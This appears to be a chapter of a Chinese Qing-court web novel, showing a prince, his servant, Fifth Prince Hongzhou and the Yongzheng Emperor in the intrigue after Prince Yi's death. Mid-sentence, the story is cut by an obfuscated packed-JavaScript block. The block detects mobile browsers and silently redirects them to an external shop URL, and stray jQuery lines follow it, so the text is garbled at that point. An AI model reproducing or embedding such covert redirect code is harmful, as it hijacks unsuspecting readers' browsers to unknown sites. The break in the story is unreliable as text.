文趣网 > 其他小说 > 大清囧事 > 33. 第三十二章 共道长途怕雪泥
    一通明灯自諴亲王府门前燃起,掌灯的阿哈们向站在諴亲王寝殿门外的近侍太监小团子弯腰请安,小团子只是蹙了蹙眉头让他们动作快些,便不再搭理。

    过了好大一会儿,负责浆洗的婢女把刚熏笼过的一件缂丝绣十团蝠纹袍子递交给了小团子,叠得齐齐整整的袍子上头搭着如意头银扣腰绶,很是素雅低调。上手摸了摸那银制扣子,小团子脸上方露出满意的笑容,道:“这就对了,咱们爷是黄带子不假,但还得看是什么当口上。往后可要仔细着些,不要给爷平添麻烦......”

    灯影儿在脚下曳曳,丧服的衣摆轻轻然上下翻动,边走边摘凉帽,用另一只手略有虚惫地揉了揉鼻梁,“我不在府里这些日子你是越来越会当家做主了,怎么着?衣裳膳食都备的齐整,眼瞧着你家主子爷是省下不少心了。”

    循声见自家王爷回来,赶紧下了跪请安,语气亲近,言语却不敢僭越道:“爷身子可安否?奴才们可都念着爷呢!”

    允祕把手里的凉帽一并扔给小团子,进屋站在纬帐后抬起双臂,阖起双目静待小团子替他更衣沐浴。小团子见允祕并不再言语,便搁下衣裳帮他脱去一身丧服。衣袖里的鸡蛋和半截大葱掉了出来,“咔嚓”,蛋壳摔了个稀巴烂,小团子拢了拢怀里的朝服,心生好奇俯身拾起,“咦?主子这些是有什么用处,还特意揣在朝服里......”

    阖着的眼帘缓缓抬起,忽地想起傍晚时那口让人上头的葱味儿,把大葱从小团子手里夺了过去,浅声道:“知道为什么周总管做了这几年諴亲王府总管,一直相安无事,连句训斥都没有么?”

    小团子挠了挠头,少年稚气的脸上尽是疑惑道:“奴才......呃......奴才哪知道,主子您向来和善宽宥......”

    “因为他不爱多管闲事,尤其是主子的闲事。”重新把手里的半截大葱用帕子裹起来,搁在了抽屉里,视线划过小团子手里的鸡蛋,神情微滞又一瞬而逝,“鸡蛋赏你了,看看能不能堵上你的嘴,嗯?”

    似是有些委屈,眉头一拧,抱着衣裳负气而去。在游廊里边走边埋怨,灯下昏暗心思又散乱,转弯处迎头和王府的周管事撞了个满怀......

    “哎呦!我说你个浑小子,眼珠子挂在天灵盖上了?急急匆匆上哪去?”周管事揉着胸口,胡须颤抖,看上去是被吓了一跳。

    “嗐......您老夜猫子进宅,脚底下不出声儿的呀!我这刚挨了王爷厌弃,差点儿又让您老给吓一跳......”

    “呦呵,这个月没赶上场节,心里头念想......还是王爷又让你上街买桃儿去了?”周管事掩嘴偷笑着问道。

    “得得得!您可以说我是浑小子,再提桃儿这事我可不答应!提起来我都伤胃。”

    “......”

    不知什么时候起,小团子觉得自家王爷变了个性子,从前任由手底下的奴才打点身边的闲杂事务,即使不是尽善尽美,凡事只要做得妥当便极少过问。谁知自己只是见门房下的阿哈们抬了一筐早春上市的桃子,顺手拿了一个吃,就被他摸不清路数王爷主子惩罚......

    “......爷亲手挑选的,可还算可口?嗯?”听起来淡然柔蔼的声线与往常无异,随手拔出腰间的短匕,修长瘦削的手指拨弄着匕刃。

    “您还别说,这桃子肉厚汁甜,好吃着呢!主子真是好眼光!”小团子只管实实在在往那白里透红的桃子上留下一排不算整齐的牙印,笑着用衣裳袖子擦拭着嘴角的汁水,完全没有意识到后来那筐桃子最终的归宿......

    “喜欢吃就好......”

    在那个春风和惠的下午,小团子守着那筐被自家王爷一刀一刀削去桃核的桃子欲哭无泪。他开始怀疑书上记载的“二桃杀三士”里的仨人儿是喝了假酒才为了桃子这种东西相互伤害......夜里他只好抱着空箩筐跪在自家王爷的书房门口,强忍着被整筐桃子撑得直反胃的冲动,边痛哭流涕,“爷,奴才再也不偷吃了!”

    只是,小团子跪在门口时,提步从书房里出来的人微微舒展了肩膀,左手蜷成拳头,似是有什么东西握在掌心里。次日早晨伺候自家王爷穿衣才看清楚,原来那是颗再普通不过的桃核,不过就是瞧上去圆润有质的样子,似是千挑万选出来的......

    由于小团子再也不想品尝早春桃子的甘美,服侍完允祕穿衣,马上把头埋在墙角里,小声儿默念:“奴才什么也没看见,奴才什么也不知道,奴才什么也不想吃......”直到那道闷在胸口的浅笑被带出门外,小团子才长长地舒了一口气,默谢天地保佑之恩。

    在四季中的某季之中,她总能出门和陌生人相视一笑就成了“熟人”。稍微胖一些的人路过自己身边,她都能听到烤肉般油滋滋响的声音,来把孜然来捆生菜都能就地品尝一把老天爷的馈赠......

    拖着被太阳烤得快有三分熟的肉身,翻着白眼儿跨进屋里,抓起桌上的水壶开始猛灌凉水,正在绣花的绿筠抓起线轴子就往她头上扔,“嘿!你个臭丫头片子,一个壶配那四个杯是摆设么?要是着急劲儿用在早起伺候五阿哥上早课,何至于见天儿起来五阿哥那房里传出来那些逼上梁山似喊打喊杀!”

    听了绿筠的话,某丫头用袖子一抹嘴,“这能怪我嘛......不过......那天五阿哥是最精神的一天,两眼瞪得又大又圆,精神百倍的样子嘛。”

    绿筠突然觉得十分心疼自己这位主子,做错了的事竟然还能说的貌似立了大功一件,扔去一个“你自己心里清楚”的表情,道:“你敢对天发誓,用来梳头的木犀油不是被你错拿成了提神用的薄荷油?五阿哥会不小心沾了手,弄进眼睛里么?”绿筠接着冷哼几声,继续表达对她这次弄巧成拙的有惊无险,“何止眼睛瞪得又大又圆,晌午回来眼睛还流泪呢!好巧的是,皇上到尚书房行策问,见五阿哥双眼通红泪流不止,阿哥只好答是因着怡亲王薨殁,念之为朝廷鞠躬尽瘁感念落泪,要不然你早就绕着乾清宫唱‘天下太平’去了!”

    说起五阿哥弘昼因为某丫头工作失误导致一大早起来就被“辣眼睛”这件事,以为五阿哥放学回来后会以五雷轰顶的架势把她胖揍一顿,结果没想到非但五阿哥没生气,反而满脸平静。她想了半天,觉得可能是五阿哥已经习惯了,愿意接受现实给他的磨炼,把《孟子》那句“所以动心忍性,曾益其所不能”投入到现实中来了......

    那天下午,五阿哥朝门口的太监挥了挥手,进来的御前传宣太监之一的向曾手里捧了一块松花石素池砚台和一只文竹箧笥,稳稳当当把那块砚台连同箧笥搁在桌上,“请阿哥勤加抄录,奴才向皇上复旨,就先告退了。”

    偷偷瞄了一眼送砚台的太监向曾离开的后背,再偷瞄一眼从早上到现在依然红着眼眶的五阿哥,好像想起来了古代版的“三年高考五年模拟”是什么样子。她猜测大概五阿哥此刻的心情和被发习题集的中小学生的心情是差不多的吧......

    从那天开始五阿哥再没空追新淘换来的话本小说,一张接一张精心抄录着听说是雍正大人从怡亲王所有遗物中发现的三十二首诗作,命因为怀念怡亲王而落泪的五阿哥弘昼抄集数册,美其名曰:王寄怀之句无纤毫尘腐之气,且忠孝慈惠之意,蔼然流露于笔墨,览物之情,习其遗风,与世共珍......

    你爹永远是你爹这句话,在紫禁城绝对是一条至理名言,当你拿出一个对2时,皇帝老爹永远不会用一句无奈的“要不起”回复你,偏偏就是要出一对王炸扔在你脸上,让你憋死。

    再后来,她恨不能把手里的松墨扔到雍正大人灯泡一样锃光瓦亮的脑门上,大骂几句:“五阿哥又不是三岁孩子,踢出去打一顿不就好了!变相体罚,是为了显示父爱如山么?”对于城门失火殃及她这条池鱼的连锁反应,她对五阿哥向雍正大人撒谎而被一眼当场看穿表示深深地怀疑,一定是有人背后早就捅过了刀子。

    “发生么愣呢?墨都干了,加水呀!”

    “......”

    “你白娘子转世了,水漫金山呐!”

    “......”

    “薄荷油这笔账爷给你记着,有朝一日定然三倍五倍讨回来。”

    听了五阿哥最后一次人身威胁加恐吓,她对自己的打工生活更加谨慎起来,比如上茅房一定会挑人多的时候,吃饭就要等别人吃完了依旧活蹦乱跳她才敢动筷子,晚上会把自己裹成粽子才入睡......事实证明,她虽然不是杞人,但忧天的心情可真算得上是古往者诚不欺人......

    她自己都快忘了熬了多少个夜班守在五阿哥身边替他不停地研墨,左右两只手颤抖的频率,不知道的还以为她得了帕金森综合征。好不容易用脚踢开房门,闭着眼睛冲到炕上躺倒,含含糊糊念叨着:“终于TNND的结束了!科学技术不止是第一生产力,还是第一节省力嘛……呜呜呜......”

    正当某丫头抱怨时代背景落后现象的同时,一处不起眼的角落里,搁在御案上的匣子以一方黄绫盖住,雍正大人握着掸子,轻轻掸着上头的微尘。与世长辞的人好比化作了一种隐疾,每当在在乎他们的人面前提起一次,就是疾病发作的时候。

    弘昼从进入东暖阁起就只是跪着,双手举过头顶呈着十几天来熬夜抄写的诗文。虽然已经跪了多时,双腿酸麻也不敢有丝毫放松。

    “在书房受师傅教诲数载,可知道处己、事上,临下当如何?”雍正大人轻飘的话音低沉却不施情绪,不为其他,只怕扰了故人安眠。

    “回汗阿玛,圣人言诚乃物之终始,皆当以诚为主。”弘昼耳后滚落的汗珠渗透进衣领里,殿外烈日当空也没抵挡住他脊背一阵发凉,匍匐在地,脑中猝然闪过绎祭那日弘晈送他与庄亲王出怡亲王府时的情形,焦灼道:“阿玛明鉴!不过是弘晈为他阿玛所写一纸诔辞,请庄亲王补遗,弘晈失手落在地上,儿臣离得近些所以替庄亲王假手拾起......”

    不待弘昼说完,雍正朝身后的苏培盛勾了勾手,苏培盛垂首上前递去一张折叠整齐的笺子,暗中侧目瞧了眼伏在地上的五阿哥,嘴角若有似无地挑了一挑,又退了回去。雍正捧着笺子的手半空中停了一晌,“朕还没有耳目昏聩,区区一纸诔文,还能与你为难?只是这笺子未免干净了些,不似是补遗,倒像是请庄亲王全权代笔。”扬手便把那张笺子扔向弘昼。

    对面前汗阿玛突如其来的转折话语,弘昼迟愣一下,起身捡来那张笺子展开,只见上头除了折痕纵横,并无半点笔墨,这才顿时心中清明。再看看汗阿玛命自己抄写的那些怡亲王诗文,算是彻彻底底明白过来......

    抱起誊抄的诗文,对雍正躬了躬身道:“儿臣愚昧,谢汗阿玛点拨!”言罢便旋身出了养心殿。

    雍正将手中的掸子交给苏培盛,揭去盖在匣子上的黄绫,盯着匣子看了许久,回想起年少

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723825|208777||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    时自己教小十三摆弄算盘时的情形已恍若隔世。在堂前他是臣,可是背过堂去,还是他四阿哥胤禛的十三弟......

    “好了,此事你二人也听得真切了。要是说弘晈因弘晓承袭怡亲王爵位去另择靠山,那纸笺子就是投石问路,答上的人必定也是要弘晈瞧得上的!”雍正的目光在匣子上一再游弋,缓缓叹了口气,把盖子打开,里头搁着一只往日常佩戴在腰间的青色平金缎绣鱼圆香囊。按照规矩,除龙凤纹饰外,不独必偶,一只香囊应绣有两条鱼纹,可匣子里的绣面上是只独鱼曳尾。与独鱼相近的小块缎面儿的颜色有些略显崭新,像是不久前将绣在上头的纹样挑剪了去。

    东暖阁再往里的内间中二人,把方才五阿哥弘昼的事情听得一清二楚。直到皇帝作声,两人才一前一后移步到外间暖阁。允礼扬眉与允祕交换了个眼神,示意允祕说出对空纸诔文的看法。允祕泰然自若,对允礼丢来的目光置之不理,整个养心殿陷入一片沉寂。

    许久,不见他们两人回话儿,“允祕啊,朕知你心意,力陈弘昼赤子之心不泯固然是好的,可是咱们都不是未来人,讲不得未来事,所以劝诫还是眼前要做得到的。”说到这里,雍正才转过身来,和他们两人迎面相对,原本站立如拔松的两人立刻微微垂首侧过身去,恭敬处之。

    允礼见身旁的允祕还是三缄其口,心里盘算来盘算去,五阿哥弘昼不应该是被时刻提防的嘛?可眼前这位諴亲王并没有在雍正大人对弘昼存疑虑时趁机压上一头,反而替弘昼说项。转念之间,陡然心生一计道:“固然假定弘晈心思不纯,手段亦不显高明,要是搬到台面儿上说是有嫌倒也无嫌。只是这弘昼在尚书房里御前哭王,那可真是让人捉摸不透,说句对不起十三哥的话儿,遑论奠仪已毕,好端端如何偏就策论前泪眼红肿?”说着这话时眼角微微瞟向允祕,暗思这一剂猛药还治不住他这个装聋作哑的毛病!

    曾经亲眼见过夺嫡败落的惨烈,所以他从不会轻而易举地把围绕在权利漩涡旁的人推搭进去,天地无情可不仁,他,不能......“回皇上,弘昼是做错了,但并不是为了弘晈。臣还是如前所述,此事只是弘晈私心刻意做派,否则那张空笺子不会那么容易就让皇上拿到。至于......弘昼......错在他碍于面子没有把眼睛红肿的实因说出口,反倒弄巧成拙遭人利用......”

    雍正听后抚额沉思,点头道:“嗯......朕也是这么想的,所以才会事后又让人给老五传了旨意命他抄写胤祥的诗文,让他亲手交给弘晈,以示朕看破其心思,把弘昼摘了出来。”

    素日里极少打听结党营私八卦传闻的允礼觉得,眼下这君臣两人达成了某个剖析下的共识,如果深究一层,某位小王爷的最原始的动机恐怕不是现在这副笃实纯臣的样子。想来皇帝也不会只简单的把那张空笺回答成几十首唱和遗诗,允礼言道:“约摸着半个多时辰,五阿哥抄写的诗文就该送到了,皇上可还有接下来的旨意?”这件事本来跟五阿哥弘昼无甚关联,鬼知道老天爷到底派遣了什么鬼使神差给五阿哥,让他莫名其妙踏入了弘晈的套路......

    问到此处,养心殿外的树上阵阵流响,就着暑热雍正越发烦闷,“也好,原先跟胤祥便说过要觐封弘晈为郡王的,只不过胤祥当时拒绝了朕......”抬眼望了望窗外,踱步到奏折堆砌如旧的炕案前,提起朱笔写下一个“宁”字,接着又道:“就封他为多罗宁郡王吧,告诉礼部旨意拟好后不要立即发出,五日后再发。”

    立在一旁的允礼和允祕心照不宣地对视一眼,拱手同声道:“是!臣领旨!”

    出得养心殿,正遇上张廷玉等候在阶下,衣领处早已经是被汗水湿透,应是与五阿哥弘昼前后脚到的养心殿,没有旨诏只好等在殿外。偏偏日头渐烈,依照张廷玉本身谨小慎微的侍君原则,又不敢躲避在檐荫下。三人略略见过礼,张廷玉便被传事太监唤了进去。

    允礼侧身把目光往躬身进去的张廷玉身上兜转一圈,蔑然一笑,“传闻这张少保自谨持重,更以‘万言万当,不如一默’为座右铭,可是他从没思虑过天子未必都喜欢他这样的臣子。”

    允祕知道允礼一直不喜欢故作姿态的朝臣,眉目轻挑,笑意漾然道:“十七哥说得极是,嘶......可惜......可惜汗阿玛圣明通达,并没打算过将皇帝位传给十七哥,可叹天地良心!”

    刚收敛回目光,允礼佯怒手指着允祕貌似疏忽的样子,牙缝儿里生生挤出个“你”字,很快平静下来,当下又想起一茬,道:“玩笑归玩笑,刚才那只香囊你不是第一次见了吧?那天在十三哥的灵前你和皇上独对,究竟是说了什么,为何后来皇上出来后,腰间香囊少了一只?”允祕沉了沉面色,提步出了遵义门朝外廷方向去。允礼徐徐跟在他身后,“不说也罢,都是伤心不过如此,寄托不过如此。”

    “十三哥内棺之中统共三件厚祭之物,一为今上贴身拭泪巾帕,二为今上贴身腰间香囊......”

    “第三件是什么?”

    “......是......康熙六十一年时,畅春园内考校我挽弓时赏赐给我的......汗阿玛佩戴过的羊脂玉扳指,我替十三哥戴在了手指上,盼汗阿玛和十三哥在极乐之地,父子嫌隙尽能冰释!”

    “如此,皇上手中的香囊上剔去的那条鱼......”

    “......即为,相濡以沫,不如相忘于江湖之意。”